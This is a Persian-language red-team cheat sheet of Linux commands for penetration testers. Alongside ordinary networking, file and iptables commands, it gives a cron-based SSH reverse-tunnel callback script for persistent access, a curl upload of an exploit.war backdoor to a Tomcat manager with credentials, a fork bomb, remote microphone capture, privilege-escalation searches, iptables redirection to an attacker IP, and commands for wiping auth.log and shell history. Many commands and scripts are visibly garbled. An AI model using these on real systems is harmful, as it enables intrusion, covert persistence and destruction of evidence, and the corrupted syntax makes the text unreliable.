تیم قرمز

برگه رمز هایی برای نفوذگران

سرآغاز لینوکس ویندوز شبکه نکات و ترفند ها روش کار با ابزار ها وب پایگاه داده ها برنامه نویسی بی سیم مهندسی معکوس رمزنگاری پنهان نگاری ارزیابی اطلاعات(osint) منابع

لینوکس

دستورات شبکه

دستور توضیح
watch ss -tp ارتباطات شبکه
netstat -ant ارتباطات tcp یا udp -anu=udp
netstat -tulpn ارتباطات به همراه PIDs
lsof -i ارتباطات برقرار
smb:// ip /share دسترسی محیط اشتراکی smb
share user x.x.x.x c$ Mount نمودن محیط اشتراکی ویندوزی
smbclient -0 user\ ip \ share اتصال به SMB
ifconfig eth# ip I cidr تنظیم IP و netmask
ifconfig eth0:1 ip I cidr تنظیم interface مجازی
route add default gw gw lp تنظیم GW
ifconfig eth# mtu [size] تغییر اندازه MTU
export MAC=xx: XX: XX: XX: XX: XX تغییر MAC
ifconfig int hw ether MAC تغییر MAC
macchanger -m MAC int تغییر Mac در Backtrack
iwlist int scan پویشگر wifi
nc -lvvp port گوش دادن به port خاص
python3 -m http.server port ایجاد وبسرور
dig -x ip شناسایی دامین های یک ip
host ip شناسایی دامین های یک ip
host -t SRV _ service tcp.url.com شناسایی SRV دامین
dig @ ip domain -t AXrR شناسایی DNS Zone Xfer
host -1 domain namesvr شناسایی DNS Zone Xfer
ip xfrm state list نمایش VPN موجود
ip addr add ip I cidr aev ethO اضافه نمودن ‘hidden’ interface
/var/log/messages I grep DHCP لیست DHCP
tcpkill host ip and port port مسدود نمودن ip:port
echo “1” /proc/sys/net/ipv4/ip forward فعال سازی IP Forwarding
echo ‘‘nameserver x.x.x.x’’ /etc7resolv.conf اضافه نمودن سرور DNS
showmount -e ip نمایش نقاط mount شده
mkdir /site_backups;mount -t nfs ip:/ /site_backup mount مسیر به اشتراک گذشته شده ip

اطلاعات سیستم

دستور توضیح
nbstate -A -ip دریافت hostname برای ip
id نام کاربری فعلی
w کاربر وارد شده
who -a اطلاعات کاربر
last -a آخرین کاربر وارد شده
ps -ef پردازش های موجود سیستم (یا استفاده از top)
df -h میزان استفاده از دیسک (یا استفاده از free)
uname -a نمایش نسخه کرنل به همراه ساختار پردازنده
mount Mount نمودن فایل سیستم
getent passwd نمایش لیست کاربران
PATH~$PATH:/home/mypath اضافه نمودن متغیر به PATH
kill pid حذف فرآیند با pid
cat /etc/issue نمایش اطلاعات سیستم عامل
cat /etc/’release’ نمایش اطلاعات نسخه سیستم عامل
cat /proc/version نمایش طلاعات نسخه کرنل
rpm –query -all بسته های نصب شده (در Redhat)
rpm -ivh ‘ .rpm نصب بسته های rpm (برای حذف -e=remove)
dpkg -get-selections بسته های نصب شده (در Ubuntu)
dpkg -I ‘.deb نصب بسته های DEB (برای حذف -r=remove)
pkginfo بسته های نصب شده (در Solaris)
which tscsh/csh/ksh/bash نمایش مسیر های فایل های اجرایی
chmod -so tcsh/csh/ksh غیر فعال سازی شل و همچنین اجبار به استفاده از bash
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \; پیدا نمودن فایل های دارای suid
find / -uid 0 -perm -4000 -type f 2>/dev/null پیدا نمودن فایل های دارای suid
find / -writable ! -user whoami -type f ! -path “/proc/” ! -path “/sys/” -exec ls -al {} \; 2>/dev/null نمایش فایل های writable

دستورات کاربردی

دستور توضیح
python -c “import pty;pty.spawn(‘/bin/bash’)” شل interactive
wget http:// url -0 url.txt -o /dev/null گرفتن آدرس
rdesktop ip دسترسی به دسکتاپ ip
scp /tmp/file [email protected]:/tmp/file ارسال فایل
scp user@ remoteip :/tmp/file /tmp/file دریافت فایل
useradd -m user اضافه نموده کاربر
passwd user تغییر کلمه عبور کاربر
rmuser unarne حذف کاربر
script -a outfile ضبط شل : Ctrl-D برای توقف
apropos subject دستورات مرتبط
history تاریخچه دستورات کاربر
! num خطوط اجرایی در history
ssh2john.py id_rsa > ssh-key پیدا نمودن passphrase
john ssh-key پیدا نمودن passphrase
ssh -i id_rsa user@ip وصل شدن با کلید و passphrase
id -u دریافت id کاربر
cut -d: -f3 < <(getent group GROUPNAME) دریافت id گروه
curl -G ‘http://example.com/file.php’ –data-urlencode ‘cmd=echo ssh-rsa AA………..’ ارسال اطلاعات با متد get در curl
curl –user ‘tomcat:$3cureP4s5w0rd123!’ –upload-file exploit.war “http://megahosting.com:8080/ma  
nager/text/deploy?path=/exploit.war” ایجاد backdoor با آسیب پذیری lfi در java

دستورات فایل

دستور توضیح
diff filel file2 مقایسه دو فایل
rm -rf dir حذف اجباری فولدر به صورت تو در تو
shred -f -u file بازنوسی و یا حذف فایل
touch -r ref file تطبیق timestamp مربوط به ref_ file
touch -t YYYYMMDDHHSS file تنظیم timestamp فایل
sudo fdisk -1 لیست درایور های متصل شده
mount /dev/sda# /mnt/usbkey Mount نمودن دستگاه های usb
md5sum -t file محاسبه هش md5
echo -n "str" | md5sum تولید نمودن هش md5
shalsum file هش SHAl مربوط به فایل
sort -u مرتبط و نمایش خطوط یکتا
grep -c ''str'' file جمع خطوط w/ ''str''
grep -Hnri word * | vim - جست و جو کلمه مورد نظر در فایل ها به همراه نام فایل
grep -rial word فایل های حاوی کلمه مورد نظر
tar cf file.tar files ایجاد .tar از فایل ها
tar xf file.tar اسختراج .tar
tar czf file.tar.gz files ایجاد .tar.gz
tar xzf file.tar.gz استخراج .tar.gz
tar cjf file.tar.bz2 files ایجاد .tar.bz2
tar xjf file.tar.bz2 استخراج .tar.bz2
gzip file فشرده سازی و تغییر نام فایل
gzip -d file. gz عدم فشرده سازی file.gz
upx -9 -o out.exe orig.exe دریافت UPX packs مربوط به orig.exe
zip -r zipname.zip \Directory\' ایجاد zip
dd skip=lOOO count=2000 bs=S if=file of=file جداسازی 1 تا 3 کیلوبایت از فایل
split -b 9K file prefix جداسازی بخش های 9 کیلیوبایتی از فایل
awk 'sub("$"."\r")' unix.txt win.txt فایل txt سازگار ویندوز
find -i -name file -type '.pdf جست و جو فایل های PDF

find I -perm -4000 -o -perm -2000 -exec ls -

ldb {} \;

جست و جو setuid فایل ها
dos2unix file تغییر به فرمت *nix
file file تعیین نوع و فرمت فایل
chattr (+/-)i file تنظیم و یا عدم تنظیم بیت immutable
while [ $? -eq 0 ]; do cd flag/; done ورود به پوشه بی نهایت تو در تو

دستورات متفرقه

دستور توضیح
unset HISTFILE غیرفعال نموده گزاراشات در history
ssh user@ ip arecord - I aplay - ضبط میکروفن از راه دور
gcc -o outfile myfile.c Compile نمودن C,C++
init 6 راه اندازی مجدد (0 = خاموش نمودن)
cat /etc/ 1 syslog 1 .conf 1 grep -v ‘’”#’’ لیست فایل های گزاراشات
grep ‘href=’ file 1 cut -d”/” -f3 I grep url | sort -u جداسازی لینک های url.com
dd if=/dev/urandom of= file bs=3145728 count=100 ایجاد فایل 3 مگابایتی

دستورات کنترل کننده

دستور توضیح
echo “” /var/log/auth.log حذف فایل auth.log
echo ‘’’’ -/.bash history حذف تاریخچه نشست کاربر جاری
rm -/.bash histor/ -rf حذف فایل .bash_history
history -c حذف تاریخچه نشست کاربر جاری
export HISTFILESIZE=0 تعیین حداکثر خطوط فایل تاریخچه به صفر
export HISTSIZE=0 تعیین حداکثر دستورات فایل تاریخچه به صفر
unset HISTFILE حذف تاریخچه (برای اعمال نیاز به ورود مجدد است)
kill -9 $$ حذف نشست جاری
ln /dev/null -/.bash_historj -sf به صورت دائم و همیشگی کلیه دستورات تاریخچه به /dev/null فرستاده شود

ساختار فایل سیستم

موقعیت توضیح
/bin فایل های باینری سیستم
/boot فایل های مرتبط با فرآیند بوت
/dev Interface های مربوط به دستگاه های سیستم
/etc فایل های تنظیمات سیستم
/home مکان پایه ای برای کاربران و کتابخانه ها
/opt کتابخانه های ضروری نرم افزار ها
/proc فرآیند های اجرایی و سیستمی
/root مسیر پایه برای کاربر root
/sbin فایل های اجرایی کاربر root
/tmp فایل ها موقت
/usr فایل های نه چندان ضروری
/var فایل متغیر های سیستم

فایل ها

فایل توضیح
/etc/shadow هش کاربران محلی
/etc/passwd کاربران محلی
/etc/group گروه های محلی
/etc/rc.d سرویس های راه انداز
/etc/init.d سرویس ها
/etc/hosts لیست hostname ها و IP ها
/etc/HOSTNAME نمایش hostname به همراه domain
/etc/network/interfaces ارتباطات شبکه ای
/etc/profile متغیر های محیطی سیستم
/etc/apt/sources.list لیست سورس های توزیع ubuntu
/etc/resolv.conf تنظیمات namserver
/horne/ user /.bash history تاریخچه bash (همچنین در /root/)
/usr/share/wireshark/manuf سازنده MAC
-/.ssh/ محل keystore های ssh
/var/log فایل گزارشات سیستم (برای Linux)
/var/adrn فایل گزارشات سیستم (برای Unix)
/var/spool/cron لیست فایل های در cron
/var/log/apache/access.log گزارشات ارتباطات apache
/etc/fstab فایل اطلاعات ثابت سیستم

استفاده از powershell

نصب

sudo apt install gss-ntlmssp
sudo apt-get install powershell

ورود با استفاده نام کاربری و کلمه عبور

pwsh
$offsec_session = New-PSSession -ComputerName 10.10.10.210 -Authentication Negotiate -Credential k.svensson
Enter-PSSession $offsec_session
New-Item -ItemType Junction -Path 'C:\ProgramData' -Target 'C:\Users\Administrator'

اسکریپت نویسی

ایجاد Ping sweep

for x in {1 .. 254 .. l};do ping -c 1 1.1.1.$x lgrep "64 b" lcut -d" "-f4 ips.txt; done

خودکار سازی فرآیند domain name resolve در اسکریپت bash

#!/bin/bash
echo "Enter Class C Range: i.e. 192.168.3"
read range
for ip in {1 .. 254 .. l};do
host $range.$ip lgrep " name pointer " lcut -d"
done

ایجاد Fork bomb (ایجاد فرآیند برای crash شدن سیستم)

: (){:|: & };:

فرآیند dns reverse lookup

for ip in {1 .. 254 .. 1}; do dig -x 1.1.1.$ip | grep $ip
dns.txt; done;

اسکریپت مسدود نمدن Ip

#!/bin/sh
# This script bans any IP in the /24 subnet for 192.168.1.0 starting at 2
# It assumes 1 is the router and does not ban IPs .20, .21, .22
i=2
while
$i -le 253 l
do
if [ $i -ne 20 -a $i -ne 21 -a $i -ne 22 ]; then
echo "BANNED: arp -s 192.168.1.$i"
arp -s 192.168.1.$i OO:OO:OO:OO:OO:Oa
else
echo "IP NOT BANNED: 192.168.1.$i"
fi
i='expr $i +1`
done

ایجاد SSH Callback

Set up script in crontab to callback every X minutes.
Highly recommend YOU
set up a generic user on red team computer (with no shell privs).
Script
will use the private key (located on callback source computer) to connect
to a public key (on red team computer). Red teamer connects to target via a
local SSH session (in the example below, use #ssh -p4040 localhost)
#!/bin/sh
# Callback: script located on callback source computer (target)
killall ssh /dev/null 2 &1
sleep 5
REMLIS-4040
REMUSR-user
HOSTS=''domainl.com domain2.com domain3.com''
for LIVEHOST in SHOSTS;
do
    COUNT=S(ping -c2 $LIVEHOST | grep 'received' | awk -F','{ print $2 } '
    | awk ' ( print $1 | ')
    if [ [ $COUNT -gt 0 ] ] ; then
    ssh -R $(REMLIS}:localhost:22 -i
    "/home/$(REMUSR}/.ssh/id rsa" -N $(LIVEHOST} -1 $(REMUSR}
fi

دستور Iptables

استفاده iptable برای ipv6

دستور توضیح
iptables-save -c file استخراج قوانین iptable و ذخیره در فایل
iptables-restore file بازیابی قوانین iptables
iptables -L -v --line-numbers لیست کلیه قوانین به همراه شماره خط آن
iptables -F راه اندازی مجدد کلیه قوانین

iptables -P INPUT/FORWARD/OUTPUT

ACCEPT/REJECT/DROP

تغییر سیسات در صورت عدم احراز قوانین
iptables -A INPUT -i interface -m state --state RELATED,ESTABLcSHED -j ACCEPT اجازه به اتصالات برقرار در INPUT
iptables -D INPUT 7 حذف 7 لایه از قوانین inbound
iptables -t raw -L -n افزایش بهره وری با غیر فعال سازی statefulness
iptables -P INPUT DROP حذف کلیه packet ها

اجازه به ssh و پورت 22 در outbound

iptables -A OUTPUT -o iface -p tcp --dport 22 -m state --state
NEW,ESTABLISHED -j ACCEPT
iptables -A INPUT -i
iface -p tcp --sport 22 -m state --state
ESTABLISHED -j ACCEPT

اجازه به ICMP در outband

iptacles -A OUTPUT -i iface -p icmp --icmp-type echo-request -j ACCEPT
iptables -A INPUT -o iface -p icmp --icmp-type echo-reply -j ACCEPT

ایجاد Port forward

echo "1" /proc/sys/net/ipv4/lp forward
# OR- sysctl net.ipv4.ip forward=1
iptables -t nat -A PREROUTING -p tcp -i ethO -j DNAT -d pivotip --dport
443 -to-destination attk ip :443
iptables -t nat -A POSTROUTING -p tcp -i eth0 -j SNAT -s target subnet
cidr -d attackip --dport 443 -to-source pivotip
iptables -t filter -I FORWARD 1 -j ACCEPT

اجازه به 1.1.1.0/24 و پورت 80,443 و ایجاد گزارش در /var/log/messages

iptables -A INPU~ -s 1.1.1.0/24 -m state --state RELATED,ESTABLISHED,NEW
-p tcp -m multipart --dports 80,443 -j ACCEPT
iptables -A INPUT -i ethO -m state --state RELATED,ESTABLISHED -j ACCEPT
iptables -P INPUT DROP
iptables -A OUTPUT -o ethO -j ACCEPT
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT
iptables -N LOGGING
iptables -A INPUT -j LOGGING
iptables -A LOGGING -m limit --limit 4/min -j LOG --log-prefix "DROPPED "
iptables -A LOGGING -j DROP

فایل Update-rc.d

بررسی و ایجاد راه انداز

دستور توضیح
service --status-all

[+] Service starts at boot

[-] Service does not start

service service start شروع سرویس
service service stop متوقف نمودن سرویس
service service status بررسی وضیعت سرویس
update-rc.d -f service remove حذف سرویس موجود راه اندازی سیستم (-f برای فایل /etc/init.d در صورتی که از قبل موجود باشد)
update-rc.d service defaults اضافه نموده سرویس در راه اندازی سیستم

Chkconfig

موجود در توزیع های مانند red hat مانند centos و oracle

دستور توضیح
chkconfig –list لیست سرویس های موجود و وضیعت اجرا
chkconfig service -list وضیعت یک سرویس
chkconfig service on [–level 3] اضافه نمودن سرویس [میتوان لایه آن را هم مشخص نمود]
chkconfig service off [–level 3] e.g. chkconfig iptables off حذف سرویس

دستور Screen

دستور توضیح
screen -S name ایجاد یک screen جدید با اسم
screen -ls لیست screen در حال اجرا
screen -r name الحاق به screen با نام
screen -S name -X cmd ارسال دستور به screen با نام
C-a ? لیست کلید های ترکیبی (help)
C-a d رفع الحاق
C-a D D رفع الحاق و خروج
C-a c ایجاد یک پنجره جدید
C-a C-a تغییر به آخرین پنجره
C-a ‘ num|name تغییر به پنجره با اسم
C-a “ نمایش لیست پنجره و تغییرات
C-a k حذف پنجره فعلی
C-a S جداسازی افقی نمایشگر
C-a V جداسازی عمودی نمایشگر
C-a tab پرش به آخرین نمایشگر
C-a X حذف بخش فعلی
C-a Q حذف تمامی بخش ها به غیر بخش فعلی

X11

ظبط از راه دور پنجره X11 و تغییر فرمت آن به JPG

xwd -display ip :0 -root -out /tmp/test.xpm
xwud -in /tmp/test1.xpm
convert /tmp/test.xpm -resize 1280x1024 /tmp/test.jpg

باز نمودن X11 در حالت stream

xwd -display 1.1.1.1:0 -root -silent -out x11dump
Read dumped file with xwudtopnm or GIMP

دستور TCPDump

ضبط بسته های در eth0 و تغییر آن ازASCII و hex و ذخیره آن در فایل

tcpdump -i ethO -XX -w out.pcap

ضبط کلیه ترافیک های 2.2.2.2

tcpdump -i ethO port 80 dst 2.2.2.2

نمایش کلیه ارتباطات ip

tcpdump -i ethO -tttt dst 192.168.1.22 and not net 192.168.1.0/24

نمایش کلیه خروجی های ping

tcpdump -i ethO 'icmp[icmptype] == icmp-echoreply'

ضبط 50 بسته dns و نمایش timestamp

tcpdump -i ethO -c 50 -tttt 'udp and port 53'

دستورات پیش فرض kali

معادل WMIC

wmis -U DOMAIN\ user % password //DC cmd.exe /c command

Mount نمودن فضای اشتراکی SMB

# Mounts to /mnt/share. For other options besides ntlmssp, man mount.cifs
mount.cifs // ip /share /mnt/share -o
user= user ,pass= pass ,sec=ntlmssp,domain= domain ,rw

بروز رسانی KALI

apt-get update
apt-get upgrade

بررسی سیستم عامل برای امکان ارتقا دسترسی

https://github.com/rebootuser/LinEnum
Example: ./LinEnum.sh -s -k keyword -r report -e /tmp/ -t

لیست کلیه فرآیند ها با دسترسی root

https://github.com/DominicBreuker/pspy
For example: ./pspy64 -pf -i 1000 

دستور PFSENSE

دستور توضیح
pfSsh.php شل pfSense
pfSsh.php playback enableallowallwan اجازه اتصال به اتصالات inbound در WAN (اضافه نمودن قوانین مخفی به قوانین WAN )
pfSsh.php playback enablesshd فعال سازی inbound/outbound ssh
pfctl -sn نمایش قوانین NAT
pfctl -sr نمایش قوانین فیلتر
pfctl -sa نمایش کلیه قوانین
viconfig وایرایش تنظیمات
rm /tmp/config.cache حدف حافظه پنهان (یا پشتیبان) تنظیمات بعد اجرا آن
/etc/rc.reload_all بارگیری مجدد کل پیکربندی

سیستم عامل SOLARIS

دستور توضیح
ifconfig -a لیست کلیه interface ها
netstat -in لیست کلیه interface ها
ifconfig -r لیست Route ها
ifconfig eth0 dhcp شروع DHCP در کاربر
ifconfig eth0 plumb up ip netmask nmask تنظیم IP
route add default ip تنظیم gateway
logins -p لیست کاربرن و کلمه عبور ها
svcs -a لیست کلیه سرویس ها به همراه وضیعت
prstat -a وضیعت فرآیند ها (همچنین دستورtop)
svcadm start ssh آغاز سرویس SSH
inetadm -e telnet (-d for disable) فعال سازی telnet
prtconf I grep Memorj مجموع حافظه فیزیکی
iostat -En اندازه Hard disk
showrev -c /usr/bin/bash اطلاعات به صورت باینری
shutdown -i6 -g0 -y راه اندازی مجدد سیستم system
dfmounts لیست کاربران متصل به NFS
smc مدیریت GUI
snoop -d int -c pkt # -o results.pcap ضبط Packet
/etc/vfstab جدول فایل سیستم عای mounte شده
/var/adm/logging گزارشات لیست تلاش های ورود به سیستم
/etc/default/’ تنظیمات پیش فرض
/etc/system ماژول و تنظیمات کرنل
/var/adm/messages مسیر syslog
/etc/auto ‘ فایل تنظیمات Automounter
/etc/inet/ipnodes فایل هاست های IPv4 و IPv6

فایل های cache مهم

فایل توضیحات
~/.viminfo فایل ویرایشگر vim